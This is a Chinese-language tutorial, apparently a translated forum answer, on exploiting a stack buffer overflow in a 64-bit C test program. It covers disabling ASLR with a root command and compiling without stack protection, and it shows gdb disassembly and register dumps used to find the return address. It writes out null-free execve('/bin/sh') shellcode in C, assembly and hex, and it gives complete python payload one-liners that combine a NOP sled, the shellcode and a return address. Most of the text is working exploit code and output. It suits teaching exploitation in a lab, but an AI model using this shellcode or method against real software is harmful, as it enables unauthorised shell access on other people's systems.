请先确保更改了randomize_va_space。在Ubuntu上,您需要以root身份运行以下命令:
echo 0 > /proc/sys/kernel/randomize_va_space
接下来,请确保您编译测试程序时没有堆栈破坏保护,并设置内存执行位。使用以下gcc选项进行编译以实现此目的:
-fno-stack-protector -z execstack
另外,我发现我需要更多的空间来实际执行shell,所以我建议将缓冲区更改为类似buffer[64]的大小。
接下来,您可以在gdb中运行应用程序并获取您需要返回到的堆栈地址。
首先,在strcpy之后设置断点。
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000040057c <+0>: push %rbp
0x000000000040057d <+1>: mov %rsp,%rbp
0x0000000000400580 <+4>: sub $0x50,%rsp
0x0000000000400584 <+8>: mov %edi,-0x44(%rbp)
0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp)
0x000000000040058b <+15>: mov -0x50(%rbp),%rax
0x000000000040058f <+19>: add $0x8,%rax
0x0000000000400593 <+23>: mov (%rax),%rdx
0x0000000000400596 <+26>: lea -0x40(%rbp),%rax
0x000000000040059a <+30>: mov %rdx,%rsi
0x000000000040059d <+33>: mov %rax,%rdi
0x00000000004005a0 <+36>: callq 0x400450 <strcpy@plt>
0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax
0x00000000004005a9 <+45>: mov %rax,%rsi
0x00000000004005ac <+48>: mov $0x400674,%edi
0x00000000004005b1 <+53>: mov $0x0,%eax
0x00000000004005b6 <+58>: callq 0x400460 <printf@plt>
0x00000000004005bb <+63>: mov $0x0,%eax
0x00000000004005c0 <+68>: leaveq
0x00000000004005c1 <+69>: retq
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5
然后运行该应用程序,在断点处获取rax寄存器地址。
(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`
Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax 0x7fffffffe030 140737488347136
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x41 65
rsi 0x7fffffffe490 140737488348304
rdi 0x7fffffffe077 140737488347255
rbp 0x7fffffffe040 0x7fffffffe040
rsp 0x7fffffffdff0 0x7fffffffdff0
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7de9d60 140737351949664
r10 0x7fffffffdd90 140737488346512
r11 0x7ffff7b8fd60 140737349483872
r12 0x400490 4195472
r13 0x7fffffffe120 140737488347424
r14 0x0 0
r15 0x0 0
rip 0x4005a5 0x4005a5 <main+41>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
接下来确定您的最大缓冲区大小。我知道64个字节的缓冲区在72个字节时会崩溃,所以我将从那里开始。您可以使用类似于metasploit模式方法的东西来给您这个,或者只是通过试错运行应用程序来找出确切的字节数,直到出现segfault,或者自己制作一个模式并像使用metasploit模式选项一样匹配rip地址。
接下来,有许多不同的方法可以获得所需的有效载荷,但由于我们正在运行64位应用程序,因此我们将使用64位有效载荷。我编译了C,然后从gdb中获取了ASM,然后进行了一些更改,通过将mov指令更改为null值的xor来删除\x00字符,然后使用shl和shr将它们从shell命令中删除。我们稍后将展示这一点,但现在有效载荷如下。
\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
我们的有效载荷长度为48字节,因此我们有72-48 = 24
我们可以使用\x90(nop)填充有效载荷,以便指令不会中断。我在有效载荷末尾添加了2个,开头添加了22个。还将所需的返回地址以相反的顺序附加到结尾,得到以下结果。
`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`
现在,如果你想在gdb之外运行它,你可能需要调整返回地址。在我的情况下,地址在gdb之外变成了\x70\xe0\xff\xff\xff\x7f。我只是通过增加到40、50、60、70等来使其工作。
测试应用程序源代码
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char name[64];
strcpy(name, argv[1]);
printf("Arg[1] is :%s\n", name);
return 0;
}
这是 C 中的有效载荷。
#include <stdlib.h>
int main()
{
execve("/bin/sh", NULL, NULL);
}
ASM中的有效载荷将被构建并运行
int main() {
__asm__(
"mov $0x0,%rdx\n\t" // arg 3 = NULL
"mov $0x0,%rsi\n\t" // arg 2 = NULL
"mov $0x0068732f6e69622f,%rdi\n\t"
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh
"mov $0x3b,%rax\n\t" // syscall number = 59
"syscall\n\t"
);
}
由于我们不能使用\x00,因此可以改为异或值并进行一些花式移位以删除设置/bin/sh的mov的不良值
int main() {
__asm__(
"xor %rdx,%rdx\n\t" // arg 3 = NULL
"mov %rdx,%rsi\n\t" // arg 2 = NULL
"mov $0x1168732f6e69622f,%rdi\n\t"
"shl $0x8,%rdi\n\t"
"shr $0x8,%rdi\n\t" // first byte = 0 (8 bits)
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh
"mov $0x111111111111113b,%rax\n\t" // syscall number = 59
"shl $0x38,%rax\n\t"
"shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits)
"syscall\n\t"
)
}
如果你编译了这个有效载荷,在gdb下运行它,就可以得到你需要的字节值,例如:
(gdb) x/bx main+4
0x400478 <main+4>: 0x48
(gdb)
0x400479 <main+5>: 0x31
(gdb)
0x40047a <main+6>: 0xd2
(gdb)
或者通过执行类似以下操作获取所有内容
(gdb) x/48bx main+4
0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf
0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11
0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08
0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11
0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1
0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05
python -c 'print "\x90"*20+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xc0\x50\xb0\x3b\x0f\x05"+"\x90"*20+"\x30\xe0\xff\xff\xff\x7f"';
- Jasonpython -c 'print "\x90"*23+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"+"\x90"*22+"\x30\xe0\xff\xff\xff\x7f"';
- Jason